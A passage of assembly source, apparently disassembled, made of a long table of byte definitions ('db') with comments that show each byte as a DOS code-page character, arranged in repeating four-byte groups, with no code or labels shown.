		db 0A0h	; ═
		db  1Ah	;  
		db    1	;  
		db    1	;  
		db 0A0h	; ═
		db  1Bh	;  
		db  6Ch	; l
		db  0Ch	;  
		db 0A0h	; ═
		db  1Ch	;  
		db  0Ah	;  
		db  0Ah	;  
		db 0A0h	; ═
		db  1Ch	;  
		db  0Ah	;  
		db    8	;  
		db 0A0h	; ═
		db  1Dh	;  
		db 0E3h	; Ц
		db  0Ah	;  
		db 0A0h	; ═
		db  1Dh	;  
		db 0E3h	; Ц
		db    2	;  
		db 0A0h	; ═
		db  1Eh	;  
		db    0	;  
		db    2	;  
		db 0A0h	; ═
		db  20h	;  
		db  48h	; H
		db  13h	;  
		db 0A0h	; ═
		db  24h	; $
		db    0	;  
		db  42h	; B
		db 0A0h	; ═
		db  28h	; (
		db    1	;  
		db    2	;  
		db 0A0h	; ═
		db  2Ah	; *
		db  80h	; ─
		db    3	;  
		db 0A0h	; ═
		db  2Dh	; -
		db  0Ah	;  
		db  0Ch	;  
		db 0A0h	; ═
		db  2Dh	; -
		db  18h	;  
		db  15h	;  
		db 0A0h	; ═
		db  2Dh	; -
		db    8	;  
		db    8	;  
		db 0A0h	; ═
		db    5	;  
		db  28h	; (
		db    1	;  
		db 0A0h	; ═
		db    5	;  
		db  28h	; (
		db    4	;  
		db 0A0h	; ═
		db  35h	; 5
		db  4Bh	; K
		db  16h	;  
		db 0A0h	; ═
		db  35h	; 5
		db  4Bh	; K
		db  19h	;  
		db 0A0h	; ═
		db    6	;  
		db    1	;  
		db    2	;  
		db 0A0h	; ═
		db  44h	; D
		db  77h	; w
		db  32h	; 2
		db 0A0h	; ═
		db  45h	; E
		db    1	;  
		db  84h	; └
		db 0A0h	; ═
		db    7	;  
		db    1	;  
		db    2	;  
		db 0A0h	; ═
		db  47h	; G
		db  58h	; X
		db  21h	; !
		db 0A0h	; ═
		db  4Bh	; K
		db    2	;  
		db  14h	;  
		db 0A0h	; ═
		db  4Eh	; N
		db  30h	; 0
		db  0Ah	;  
		db 0A0h	; ═
		db  4Fh	; O
		db    5	;  
		db  82h	; ┌
		db 0A0h	; ═
		db  4Fh	; O
		db    6	;  
		db  82h	; ┌
		db 0A0h	; ═
		db  50h	; P
		db    1	;  
		db    8	;  
		db 0A0h	; ═
		db  50h	; P
		db    2	;  
		db    5	;  
		db 0A0h	; ═
		db  55h	; U
		db  80h	; ─
		db    2	;  
		db 0A0h	; ═
		db  57h	; W
		db    1	;  
		db    3	;  
		db 0A0h	; ═
		db  57h	; W
		db    1	;  
		db    5	;  
		db 0A0h	; ═
		db    9	;  
		db  80h	; ─
		db    1	;  
		db 0A0h	; ═
		db    9	;  
		db  80h	; ─
		db    2	;  
		db 0A0h	; ═
		db  5Ch	; \
		db  78h	; x
		db    1	;  
		db 0A0h	; ═
		db  5Ch	; \
		db  78h	; x
		db    2	;  
		db 0A0h	; ═
		db  60h	; `
		db 0B3h	; Ё
		db  86h	; ├
		db 0A0h	; ═
		db  60h	; `
		db 0B3h	; Ё
		db    4	;  
		db 0A0h	; ═
		db  61h	; a
		db    4	;  
		db    1	;  
		db 0A0h	; ═
		db  61h	; a
		db    7	;  
		db  0Dh	;  
		db 0A0h	; ═
		db  62h	; b
		db    2	;  
		db 0FEh	; Ч
		db 0A0h	; ═
		db  62h	; b
		db  14h	;  
		db    2	;  
		db 0A0h	; ═
		db  63h	; c
		db    1	;  
		db    1	;  
		db 0A1h	; ║
		db  6Dh	; m
		db  80h	; ─
		db    2	;  
		db 0A1h	; ║
		db  0Bh	;  
		db    3	;  
		db    8	;  
		db 0A1h	; ║
		db  6Eh	; n
		db    1	;  
		db    8	;  
		db 0A1h	; ║
		db  6Eh	; n
		db  0Dh	;  
		db    1	;  
		db 0A1h	; ║
		db  6Fh	; o
		db  0Ah	;  
		db    3	;  
		db 0A1h	; ║
		db  70h	; p
		db 0E8h	; Х
		db  15h	;  
		db 0A1h	; ║
		db  70h	; p
		db 0E8h	; Х
		db  22h	; "
		db 0A1h	; ║
		db  72h	; r
		db    1	;  
		db 0CCh	; л
		db 0A1h	; ║
		db  72h	; r
		db 0C0h	; ю
		db 0C7h	; г
		db 0A1h	; ║
		db  72h	; r
		db  40h	; @
		db  18h	;  
		db 0A1h	; ║
		db  73h	; s
		db  90h	; ░
		db    9	;  
		db 0A1h	; ║
		db  73h	; s
		db  93h	; ⌠
		db    1	;  
		db 0A1h	; ║
		db  74h	; t
		db    1	;  
		db    1	;  
		db 0A1h	; ║
		db  74h	; t
		db  5Dh	; ]
		db    1	;  
		db 0A1h	; ║
		db  77h	; w
		db  33h	; 3
		db  81h	; │
		db 0A1h	; ║
		db  7Ah	; z
		db  0Ch	;  
		db    3	;  
		db 0A1h	; ║
		db  7Ch	; |
		db  0Dh	;  
		db    1	;  
		db 0A1h	; ║
		db  0Dh	;  
		db    1	;  
		db    2	;  
		db 0A1h	; ║
		db  82h	; ┌
		db  70h	; p
		db 0D0h	; п
		db 0A1h	; ║
		db  82h	; ┌
		db 0E0h	; Ю
		db    3	;  
		db 0A1h	; ║
		db  85h	; ┘
		db  81h	; │
		db    3	;  
		db 0A1h	; ║
		db  86h	; ├
		db    1	;  
		db    4	;  
		db 0A1h	; ║
		db  88h	; ┬
		db  10h	;  
		db    8	;  
		db 0A1h	; ║
		db  88h	; ┬
		db  42h	; B
		db  0Fh	;  
		db 0A1h	; ║
		db  8Bh	; ▀
		db  10h	;  
		db    2	;  
		db 0A1h	; ║
		db  8Bh	; ▀
		db 0A8h	; ╗
		db 0A8h	; ╗
		db 0A1h	; ║
		db  8Eh	; ▌
		db    2	;  
		db  11h	;  
		db 0A1h	; ║
		db  8Eh	; ▌
		db 0E3h	; Ц
		db  11h	;  
		db 0A1h	; ║
		db  94h	; ■
		db    1	;  
		db    8	;  
		db 0A1h	; ║
		db  95h	; ∙
		db  3Fh	; ?
		db    1	;  
		db 0A1h	; ║
		db  0Fh	;  
		db  23h	; #
		db  7Ch	; |
		db 0A1h	; ║
		db  0Fh	;  
		db  23h	; #
		db  7Dh	; }
		db 0A1h	; ║
		db  96h	; √
		db  81h	; │
		db 0FCh	; Э
		db 0A1h	; ║
		db  96h	; √
		db  81h	; │
		db 0FDh	; Щ
		db 0A1h	; ║
		db  9Bh	; ⌡
		db  6Eh	; n
		db    2	;  
		db 0A1h	; ║
		db  9Bh	; ⌡
		db  6Eh	; n
		db    3	;  
		db 0A1h	; ║
		db  9Fh	; ÷
		db    6	;  
		db    4	;  
		db 0A1h	; ║
		db 0A5h	; ╔
		db 0C0h	; ю
		db  7Ch	; |
		db 0A1h	; ║
		db 0A5h	; ╔
		db 0C0h	; ю
		db  7Dh	; }
		db 0A1h	; ║
		db 0A5h	; ╔
		db 0C0h	; ю
		db  3Ch	; <
		db 0A1h	; ║
		db 0A5h	; ╔
		db 0C0h	; ю
		db  3Dh	; =
		db 0A1h	; ║
		db 0BCh	; ╪
		db 0FAh	; З
		db    1	;  
		db 0A1h	; ║
		db 0BCh	; ╪
		db 0FAh	; З
		db    2	;  
		db 0A1h	; ║
		db 0C3h	; ц
		db  41h	; A
		db    3	;  
		db 0A1h	; ║
		db 0C8h	; х
		db 0C0h	; ю
		db 0C8h	; х
		db 0A1h	; ║
		db 0C8h	; х
		db 0C0h	; ю
		db    4	;  
		db 0A1h	; ║
		db 0CFh	; о
		db    1	;  
		db    1	;  
		db 0A1h	; ║
		db 0D2h	; р
		db 0D6h	; ж
		db  65h	; e
		db 0A1h	; ║
		db 0D2h	; р
		db 0D8h	; ь
		db  64h	; d
		db 0A1h	; ║
		db 0D2h	; р
		db 0D8h	; ь
		db  65h	; e
		db 0A1h	; ║
		db 0D3h	; с
		db  8Eh	; ▌
		db 0DDh	; щ
		db 0A1h	; ║
		db 0D5h	; у
		db  90h	; ░
		db  0Ah	;  
		db 0A1h	; ║
		db 0D5h	; у
		db  90h	; ░
		db  0Bh	;  
		db 0A1h	; ║
		db 0D7h	; в
		db  13h	;  
		db  9Ah	;  
		db 0A1h	; ║
		db 0D8h	; ь
		db  7Ch	; |
		db    2	;  
		db 0A1h	; ║
		db  16h	;  
		db 0FCh	; Э
		db    5	;  
		db 0A1h	; ║
		db 0DFh	; ъ
		db    1	;  
		db    2	;  
		db 0A1h	; ║
		db 0E2h	; Б
		db    4	;  
		db  19h	;  
		db 0A1h	; ║
		db 0E7h	; Г
		db 0F9h	; Ы
		db    9	;  
		db 0A1h	; ║
		db 0E8h	; Х
		db    1	;  
		db  22h	; "
		db 0A1h	; ║
		db  18h	;  
		db  17h	;  
		db    2	;  
		db 0A1h	; ║
		db  18h	;  
		db 0FEh	; Ч
		db  1Dh	;  
		db 0A1h	; ║
		db 0F2h	; Р
		db  94h	; ■
		db  1Eh	;  
		db 0A1h	; ║
		db 0F2h	; Р
		db    3	;  
		db  1Eh	;  
		db 0A1h	; ║
		db 0F3h	; С
		db 0FEh	; Ч
		db  14h	;  
		db 0A1h	; ║
		db 0F3h	; С
		db    3	;  
		db 0D4h	; т
		db 0A1h	; ║
		db 0F6h	; Ж
		db  34h	; 4
		db  1Fh	;  
		db 0A1h	; ║
		db 0FDh	; Щ
		db    6	;  
		db    2	;  
		db 0A1h	; ║
		db 0FEh	; Ч
		db    6	;  
		db    5	;  
		db 0A1h	; ║
		db 0FEh	; Ч
		db    6	;  
		db    6	;  
		db 0A1h	; ║
		db  1Ah	;  
		db  14h	;  
		db    1	;  
		db 0A1h	; ║
		db  1Ch	;  
		db 0E0h	; Ю
		db  0Ah	;  
		db 0A1h	; ║
		db    3	;  
		db    1	;  
		db  0Bh	;  
		db 0A1h	; ║
		db  1Eh	;  
		db 0D3h	; с
		db  82h	; ┌
		db 0A1h	; ║
		db  1Fh	;  
		db 0D0h	; п
		db  0Ch	;  
		db 0A1h	; ║
		db  20h	;  
		db  11h	;  
		db    3	;  
		db 0A1h	; ║
		db  21h	; !
		db    3	;  
		db    1	;  
		db 0A1h	; ║
		db    4	;  
		db  51h	; Q
		db  0Bh	;  
		db 0A1h	; ║
		db  28h	; (
		db 0FEh	; Ч
		db  0Ah	;  
		db 0A1h	; ║
		db  2Dh	; -
		db 0C1h	; а
		db    4	;  
		db 0A1h	; ║
		db  2Dh	; -
		db  19h	;  
		db  25h	; %
		db 0A1h	; ║
		db  2Dh	; -
		db  40h	; @
		db    1	;  
		db 0A1h	; ║
		db    5	;  
		db    1	;  
		db    1	;  
		db 0A1h	; ║
		db    5	;  
		db    1	;  
		db    3	;  
		db 0A1h	; ║
		db  32h	; 2
		db  30h	; 0
		db    2	;  
		db 0A1h	; ║
		db  32h	; 2
		db  30h	; 0
		db    3	;  
		db 0A1h	; ║
		db  35h	; 5
		db    3	;  
		db    7	;  
		db 0A1h	; ║
		db  36h	; 6
		db  86h	; ├
		db 0FDh	; Щ
		db 0A1h	; ║
		db  37h	; 7
		db  7Ch	; |
		db    2	;  
		db 0A1h	; ║
		db  37h	; 7
		db  20h	;  
		db    3	;  
		db 0A1h	; ║
		db  39h	; 9
		db    5	;  
		db    2	;  
		db 0A1h	; ║
		db  39h	; 9
		db    5	;  
		db    3	;  
		db 0A1h	; ║
		db  3Ah	; :
		db  86h	; ├
		db  72h	; r
		db 0A1h	; ║
		db  3Ah	; :
		db  86h	; ├
		db  62h	; b
		db 0A1h	; ║
		db  3Ah	; :
		db  9Eh	; ·
		db  2Dh	; -
		db 0A1h	; ║
		db  3Ah	; :
		db 0A0h	; ═
		db  16h	;  
		db 0A1h	; ║
		db  3Ah	; :
		db 0A0h	; ═
		db    9	;  
		db 0A1h	; ║
		db  3Ah	; :
		db    9	;  
		db  0Ah	;  
		db 0A1h	; ║
		db  3Ah	; :
		db    9	;  
		db  1Fh	;  
		db 0A1h	; ║
		db    6	;  
		db  12h	;  
		db    1	;  
		db 0A1h	; ║
		db    6	;  
		db  12h	;  
		db    7	;  
		db 0A1h	; ║
		db  40h	; @
		db    3	;  
		db    1	;  
		db 0A1h	; ║
		db  40h	; @
		db    3	;  
		db    2	;  
		db 0A1h	; ║
		db  42h	; B
		db    1	;  
		db  14h	;  
		db 0A1h	; ║
		db  42h	; B
		db 0F1h	; Я
		db    4	;  
		db 0A1h	; ║
		db    7	;  
		db  26h	; &
		db  0Ah	;  
		db 0A1h	; ║
		db    7	;  
		db  26h	; &
		db  0Bh	;  
		db 0A1h	; ║
		db  47h	; G
		db 0A9h	; ╘
		db    3	;  
		db 0A1h	; ║
		db  47h	; G
		db 0ABh	; ╚
		db 0FAh	; З
		db 0A1h	; ║
		db  49h	; I
		db    1	;  
		db    1	;  
		db 0A1h	; ║
		db  4Ah	; J
		db  5Ch	; \
		db  0Ah	;  
		db 0A1h	; ║
		db  4Ch	; L
		db    9	;  
		db    1	;  
		db 0A1h	; ║
		db  62h	; b
		db  46h	; F
		db 0F6h	; Ж
		db 0A1h	; ║
		db  62h	; b
		db  46h	; F
		db 0F7h	; В
		db 0A2h	; ╒
		db    1	;  
		db    2	;  
		db  42h	; B
		db 0A2h	; ╒
		db  69h	; i
		db  81h	; │
		db  1Bh	;  
		db 0A2h	; ╒
		db  6Ah	; j
		db    7	;  
		db    5	;  
		db 0A2h	; ╒
		db  6Bh	; k
		db 0F0h	; П
		db  82h	; ┌
		db 0A2h	; ╒
		db  70h	; p
		db  12h	;  
		db  1Dh	;  
		db 0A2h	; ╒
		db  72h	; r
		db  18h	;  
		db  5Ah	; Z
		db 0A2h	; ╒
		db  72h	; r
		db 0F8h	; Ь
		db    1	;  
		db 0A2h	; ╒
		db  72h	; r
		db 0F8h	; Ь
		db    2	;  
		db 0A2h	; ╒
		db  74h	; t
		db  1Dh	;  
		db  64h	; d
		db 0A2h	; ╒
		db  75h	; u
		db 0A2h	; ╒
		db  4Bh	; K
		db 0A2h	; ╒
		db  77h	; w
		db 0E9h	; И
		db    5	;  
		db 0A2h	; ╒
		db  77h	; w
		db 0F1h	; Я
		db    5	;  
		db 0A2h	; ╒
		db  79h	; y
		db 0F4h	; Т
		db    2	;  
		db 0A2h	; ╒
		db  7Eh	; ~
		db    3	;  
		db    3	;  
		db 0A2h	; ╒
		db  7Eh	; ~
		db    4	;  
		db  25h	; %
		db 0A2h	; ╒
		db  81h	; │
		db  14h	;  
		db  0Ah	;  
		db 0A2h	; ╒
		db  8Bh	; ▀
		db  0Dh	;  
		db    2	;  
		db 0A2h	; ╒
		db  8Ch	; ▄
		db  40h	; @
		db  64h	; d
		db 0A2h	; ╒
		db  0Fh	;  
		db    7	;  
		db    1	;  
		db 0A2h	; ╒
		db  12h	;  
		db  4Bh	; K
		db    8	;  
		db 0A2h	; ╒
		db    2	;  
		db  6Fh	; o
		db 0D2h	; р
		db 0A2h	; ╒
		db  18h	;  
		db    9	;  
		db 0D2h	; р
		db 0A2h	; ╒
		db  18h	;  
		db    9	;  
		db 0FEh	; Ч
		db 0A2h	; ╒
		db  26h	; &
		db  65h	; e
		db  33h	; 3
		db 0A2h	; ╒
		db  27h	; '
		db 0A4h	; є
		db  0Bh	;  
		db 0A2h	; ╒
		db  2Ah	; *
		db  96h	; √
		db  21h	; !
		db 0A2h	; ╒
		db  2Ch	; ,
		db 0F5h	; У
		db    2	;  
		db 0A2h	; ╒
		db  2Fh	; /
		db 0A7h	; ї
		db  42h	; B
		db 0A2h	; ╒
		db  2Fh	; /
		db 0A7h	; ї
		db  43h	; C
		db 0A2h	; ╒
		db  30h	; 0
		db 0FEh	; Ч
		db  0Ah	;  
		db 0A2h	; ╒
		db  32h	; 2
		db    1	;  
		db    2	;  
		db 0A2h	; ╒
		db  39h	; 9
		db  0Ah	;  
		db    1	;  
		db 0A2h	; ╒
		db  39h	; 9
		db  0Ah	;  
		db    3	;  
		db 0A2h	; ╒
		db  3Ah	; :
		db  23h	; #
		db  68h	; h
		db 0A2h	; ╒
		db    6	;  
		db 0D9h	; ы
		db    1	;  
		db 0A2h	; ╒
		db  42h	; B
		db 0CCh	; л
		db  7Ch	; |
		db 0A2h	; ╒
		db  42h	; B
		db 0CCh	; л
		db  7Dh	; }
		db 0A2h	; ╒
		db  46h	; F
		db 0F4h	; Т
		db  14h	;  
		db 0A2h	; ╒
		db  4Ah	; J
		db  63h	; c
		db  34h	; 4
		db 0A2h	; ╒
		db  4Bh	; K
		db    1	;  
		db  0Eh	;  
		db 0A2h	; ╒
		db  4Fh	; O
		db    3	;  
		db    2	;  
		db 0A2h	; ╒
		db  4Fh	; O
		db    3	;  
		db    5	;  
		db 0A2h	; ╒
		db  50h	; P
		db  1Ah	;  
		db  11h	;  
		db 0A2h	; ╒
		db  59h	; Y
		db    0	;  
		db  0Ch	;  
		db 0A2h	; ╒
		db  5Eh	; ^
		db  1Ch	;  
		db 0FBh	; Ш
		db 0A2h	; ╒
		db  60h	; `
		db    6	;  
		db  0Ch	;  
		db 0A2h	; ╒
		db  60h	; `
		db    6	;  
		db  0Fh	;  
		db 0A2h	; ╒
		db  63h	; c
		db    3	;  
		db  14h	;  
		db 0A3h	; ё
		db  0Ah	;  
		db    0	;  
		db  43h	; C
		db 0A3h	; ё
		db  75h	; u
		db  83h	; ┐
		db  1Fh	;  
		db 0A3h	; ё
		db  76h	; v
		db    5	;  
		db    1	;  
		db 0A3h	; ё
		db  77h	; w
		db 0FEh	; Ч
		db    3	;  
		db 0A3h	; ё
		db  77h	; w
		db 0FEh	; Ч
		db    7	;  
		db 0A3h	; ё
		db  0Ch	;  
		db    5	;  
		db  35h	; 5
		db 0A3h	; ё
		db  78h	; x
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  79h	; y
		db    2	;  
		db    2	;  
		db 0A3h	; ё
		db  7Dh	; }
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  7Dh	; }
		db    1	;  
		db    2	;  
		db 0A3h	; ё
		db  7Eh	; ~
		db  40h	; @
		db    4	;  
		db 0A3h	; ё
		db  81h	; │
		db 0FEh	; Ч
		db  0Ch	;  
		db 0A3h	; ё
		db  0Dh	;  
		db    1	;  
		db  3Ch	; <
		db 0A3h	; ё
		db  86h	; ├
		db  20h	;  
		db 0C9h	; и
		db 0A3h	; ё
		db  87h	; ┤
		db 0C1h	; а
		db 0E8h	; Х
		db 0A3h	; ё
		db  88h	; ┬
		db  0Ah	;  
		db  16h	;  
		db 0A3h	; ё
		db  88h	; ┬
		db  0Ah	;  
		db  17h	;  
		db 0A3h	; ё
		db  8Ah	; ┼
		db    3	;  
		db  1Fh	;  
		db 0A3h	; ё
		db  8Ah	; ┼
		db    3	;  
		db  20h	;  
		db 0A3h	; ё
		db  8Ah	; ┼
		db  4Eh	; N
		db  1Fh	;  
		db 0A3h	; ё
		db  8Ah	; ┼
		db  4Eh	; N
		db  20h	;  
		db 0A3h	; ё
		db  8Bh	; ▀
		db 0C9h	; и
		db    1	;  
		db 0A3h	; ё
		db  8Bh	; ▀
		db 0C9h	; и
		db    2	;  
		db 0A3h	; ё
		db  8Bh	; ▀
		db 0C9h	; и
		db  24h	; $
		db 0A3h	; ё
		db  8Bh	; ▀
		db 0E6h	; Ф
		db 0A4h	; є
		db 0A3h	; ё
		db  8Bh	; ▀
		db 0E6h	; Ф
		db 0A5h	; ╔
		db 0A3h	; ё
		db  8Ch	; ▄
		db    4	;  
		db    3	;  
		db 0A3h	; ё
		db  8Eh	; ▌
		db  64h	; d
		db  81h	; │
		db 0A3h	; ё
		db  8Eh	; ▌
		db  3Ch	; <
		db    4	;  
		db 0A3h	; ё
		db  8Fh	; ▐
		db 0B5h	; ╣
		db  32h	; 2
		db 0A3h	; ё
		db  8Fh	; ▐
		db 0B5h	; ╣
		db  33h	; 3
		db 0A3h	; ё
		db  91h	; ▒
		db  60h	; `
		db    2	;  
		db 0A3h	; ё
		db  94h	; ■
		db    3	;  
		db    1	;  
		db 0A3h	; ё
		db  96h	; √
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  97h	; ≈
		db  21h	; !
		db  90h	; ░
		db 0A3h	; ё
		db  97h	; ≈
		db  21h	; !
		db  91h	; ▒
		db 0A3h	; ё
		db  98h	; ≤
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  99h	; ≥
		db    2	;  
		db    2	;  
		db 0A3h	; ё
		db  99h	; ≥
		db    4	;  
		db 0A5h	; ╔
		db 0A3h	; ё
		db  10h	;  
		db    1	;  
		db  0Ch	;  
		db 0A3h	; ё
		db 0A0h	; ═
		db 0FCh	; Э
		db  10h	;  
		db 0A3h	; ё
		db 0A2h	; ╒
		db    4	;  
		db    1	;  
		db 0A3h	; ё
		db 0A6h	; і
		db  9Ah	;  
		db  0Ah	;  
		db 0A3h	; ё
		db 0A6h	; і
		db  9Ah	;  
		db    9	;  
		db 0A3h	; ё
		db 0A7h	; ї
		db  50h	; P
		db  0Fh	;  
		db 0A3h	; ё
		db 0A7h	; ї
		db  50h	; P
		db  1Eh	;  
		db 0A3h	; ё
		db 0A8h	; ╗
		db 0D4h	; т
		db 0FCh	; Э
		db 0A3h	; ё
		db  11h	;  
		db 0BCh	; ╪
		db    1	;  
		db 0A3h	; ё
		db 0ADh	; ґ
		db  80h	; ─
		db    6	;  
		db 0A3h	; ё
		db 0B0h	; ╟
		db    4	;  
		db  0Ah	;  
		db 0A3h	; ё
		db 0B2h	; ╡
		db    8	;  
		db    2	;  
		db 0A3h	; ё
		db 0B4h	; Є
		db  10h	;  
		db  35h	; 5
		db 0A3h	; ё
		db 0B4h	; Є
		db  61h	; a
		db  36h	; 6
		db 0A3h	; ё
		db 0B9h	; ╧
		db  12h	;  
		db    1	;  
		db 0A3h	; ё
		db 0B9h	; ╧
		db  12h	;  
		db  18h	;  
		db 0A3h	; ё
		db 0BDh	; Ґ
		db    7	;  
		db  24h	; $
		db 0A3h	; ё
		db  13h	;  
		db 0EAh	; Й
		db    1	;  
		db 0A3h	; ё
		db 0BFh	; ©
		db 0B7h	; Ї
		db  63h	; c
		db 0A3h	; ё
		db 0C0h	; ю
		db    1	;  
		db  0Ah	;  
		db 0A3h	; ё
		db 0C3h	; ц
		db    1	;  
		db  99h	; ≥
		db 0A3h	; ё
		db 0C3h	; ц
		db    1	;  
		db 0EDh	; М
		db 0A3h	; ё
		db  14h	;  
		db  9Dh	; ²
		db    2	;  
		db 0A3h	; ё
		db  14h	;  
		db 0A3h	; ё
		db    5	;  
		db 0A3h	; ё
		db 0C8h	; х
		db  61h	; a
		db    1	;  
		db 0A3h	; ё
		db 0CFh	; о
		db    1	;  
		db  3Ch	; <
		db 0A3h	; ё
		db 0CFh	; о
		db    1	;  
		db  3Dh	; =
		db 0A3h	; ё
		db 0D1h	; я
		db    1	;  
		db    5	;  
		db 0A3h	; ё
		db 0D1h	; я
		db  49h	; I
		db  0Dh	;  
		db 0A3h	; ё
		db  15h	;  
		db 0ECh	; Л
		db    5	;  
		db 0A3h	; ё
		db  15h	;  
		db 0ECh	; Л
		db    7	;  
		db 0A3h	; ё
		db 0D2h	; р
		db  0Ah	;  
		db  0Ch	;  
		db 0A3h	; ё
		db 0D4h	; т
		db  20h	;  
		db    3	;  
		db 0A3h	; ё
		db 0D4h	; т
		db  20h	;  
		db    4	;  
		db 0A3h	; ё
		db 0D6h	; ж
		db  35h	; 5
		db    3	;  
		db 0A3h	; ё
		db 0D7h	; в
		db    3	;  
		db    9	;  
		db 0A3h	; ё
		db  16h	;  
		db 0A5h	; ╔
		db    1	;  
		db 0A3h	; ё
		db 0DDh	; щ
		db  50h	; P
		db  0Dh	;  
		db 0A3h	; ё
		db 0DFh	; ъ
		db    0	;  
		db    1	;  
		db 0A3h	; ё
		db 0E0h	; Ю
		db 0FAh	; З
		db  84h	; └
		db 0A3h	; ё
		db 0E1h	; А
		db  0Ah	;  
		db    2	;  
		db 0A3h	; ё
		db 0E1h	; А
		db  0Ah	;  
		db    8	;  
		db 0A3h	; ё
		db 0E2h	; Б
		db    2	;  
		db  0Ah	;  
		db 0A3h	; ё
		db 0E2h	; Б
		db    6	;  
		db    7	;  
		db 0A3h	; ё
		db  17h	;  
		db  94h	; ■
		db    1	;  
		db 0A3h	; ё
		db  17h	;  
		db 0B8h	; ╦
		db  0Bh	;  
		db 0A3h	; ё
		db 0E6h	; Ф
		db 0FEh	; Ч
		db 0C8h	; х
		db 0A3h	; ё
		db 0E7h	; Г
		db 0E5h	; Е
		db    1	;  
		db 0A3h	; ё
		db 0E7h	; Г
		db 0F5h	; У
		db    1	;  
		db 0A3h	; ё
		db 0E9h	; И
		db    3	;  
		db  14h	;  
		db 0A3h	; ё
		db 0EAh	; Й
		db  14h	;  
		db  11h	;  
		db 0A3h	; ё
		db 0EFh	; О
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  18h	;  
		db 0A3h	; ё
		db    1	;  
		db 0A3h	; ё
		db  18h	;  
		db 0EFh	; О
		db    1	;  
		db 0A3h	; ё
		db 0F2h	; Р
		db 0E0h	; Ю
		db  42h	; B
		db 0A3h	; ё
		db 0F5h	; У
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db 0F6h	; Ж
		db  10h	;  
		db  64h	; d
		db 0A3h	; ё
		db 0F6h	; Ж
		db  20h	;  
		db  64h	; d
		db 0A3h	; ё
		db 0F6h	; Ж
		db  30h	; 0
		db  64h	; d
		db 0A3h	; ё
		db 0F6h	; Ж
		db    5	;  
		db  64h	; d
		db 0A3h	; ё
		db 0F6h	; Ж
		db  60h	; `
		db  64h	; d
		db 0A3h	; ё
		db 0F7h	; В
		db  36h	; 6
		db  6Fh	; o
		db 0A3h	; ё
		db 0F8h	; Ь
		db  23h	; #
		db    5	;  
		db 0A3h	; ё
		db 0FBh	; Ш
		db    0	;  
		db    2	;  
		db 0A3h	; ё
		db 0FCh	; Э
		db  5Fh	; _
		db    1	;  
		db 0A3h	; ё
		db  1Bh	;  
		db  78h	; x
		db    1	;  
		db 0A3h	; ё
		db  1Bh	;  
		db  0Fh	;  
		db    1	;  
		db 0A3h	; ё
		db  1Ch	;  
		db    1	;  
		db  65h	; e
		db 0A3h	; ё
		db  1Ch	;  
		db    1	;  
		db    2	;  
		db 0A3h	; ё
		db  1Ch	;  
		db  70h	; p
		db    1	;  
		db 0A3h	; ё
		db  1Ch	;  
		db  71h	; q
		db    1	;  
		db 0A3h	; ё
		db  1Ch	;  
		db  81h	; │
		db    1	;  
		db 0A3h	; ё
		db  1Ch	;  
		db  60h	; `
		db    1	;  
		db 0A3h	; ё
		db  1Dh	;  
		db 0AFh	; ╞
		db 0C8h	; х
		db 0A3h	; ё
		db  1Dh	;  
		db 0E7h	; Г
		db    1	;  
		db 0A3h	; ё
		db    3	;  
		db 0FDh	; Щ
		db  12h	;  
		db 0A3h	; ё
		db  28h	; (
		db  0Bh	;  
		db  39h	; 9
		db 0A3h	; ё
		db  29h	; )
		db  3Eh	; >
		db  0Ch	;  
		db 0A3h	; ё
		db  2Ah	; *
		db  5Ah	; Z
		db    1	;  
		db 0A3h	; ё
		db  2Ch	; ,
		db 0E0h	; Ю
		db    1	;  
		db 0A3h	; ё
		db  2Eh	; .
		db    8	;  
		db  15h	;  
		db 0A3h	; ё
		db  2Eh	; .
		db    8	;  
		db  16h	;  
		db 0A3h	; ё
		db  2Fh	; /
		db  14h	;  
		db    1	;  
		db 0A3h	; ё
		db  2Fh	; /
		db  14h	;  
		db    2	;  
		db 0A3h	; ё
		db  30h	; 0
		db    1	;  
		db    1	;  
		db 0A3h	; ё
		db  30h	; 0
		db    1	;  
		db    2	;  
		db 0A3h	; ё
		db  33h	; 3
		db    2	;  
		db 0C7h	; г
		db 0A3h	; ё
		db  36h	; 6
		db  44h	; D
		db    1	;  
		db 0A3h	; ё
		db  3Dh	; =
		db 0E0h	; Ю
		db    1	;  
		db 0A3h	; ё
		db    7	;  
		db    2	;  
		db  1Dh	;  
		db 0A3h	; ё
		db    9	;  
		db    1	;  
		db    2	;  
		db 0A4h	; є
		db  0Ah	;  
		db  1Bh	;  
		db 0AAh	; ╙
		db 0A4h	; є
		db  0Ah	;  
		db  20h	;  
		db  41h	; A
		db 0A4h	; є
		db  64h	; d
		db    3	;  
		db    1	;  
		db 0A4h	; є
		db  66h	; f
		db    1	;  
		db    2	;  
		db 0A4h	; є
		db  68h	; h
		db    1	;  
		db  1Bh	;  
		db 0A4h	; є
		db  68h	; h
		db    1	;  
		db  1Dh	;  
		db 0A4h	; є
		db  69h	; i
		db  76h	; v
		db  0Bh	;  
		db 0A4h	; є
		db  69h	; i
		db  56h	; V
		db  29h	; )
		db 0A4h	; є
		db  6Ah	; j
		db    1	;  
		db    1	;  
		db 0A4h	; є
		db  6Ah	; j
		db    2	;  
		db    1	;  
		db 0A4h	; є
		db  6Dh	; m
		db    1	;  
		db    3	;  
		db 0A4h	; є
		db  6Dh	; m
		db  0Ah	;  
		db  17h	;  
		db 0A4h	; є
		db  0Bh	;  
		db  64h	; d
		db  0Ah	;  
		db 0A4h	; є
		db  6Eh	; n
		db  64h	; d
		db 0B3h	; Ё
		db 0A4h	; є
		db  70h	; p
		db 0F9h	; Ы
		db    1	;  
		db 0A4h	; є
		db  71h	; q
		db 0C0h	; ю
		db 0F2h	; Р
		db 0A4h	; є
		db  71h	; q
		db 0EEh	; Н
		db    2	;  
		db 0A4h	; є
		db  71h	; q
		db  5Ch	; \
		db 0FAh	; З
		db 0A4h	; є
		db  72h	; r
		db  80h	; ─
		db    2	;  
		db 0A4h	; є
		db  72h	; r
		db  80h	; ─
		db    3	;  
		db 0A4h	; є
		db  75h	; u
		db  90h	; ░
		db    1	;  
		db 0A4h	; є
		db  77h	; w
		db    1	;  
		db    1	;  
		db 0A4h	; є
		db  7Ah	; z
		db    7	;  
		db  20h	;  
		db 0A4h	; є
		db  7Ch	; |
		db  65h	; e
		db  1Fh	;  
		db 0A4h	; є
		db  7Dh	; }
		db    9	;  
		db    2	;  
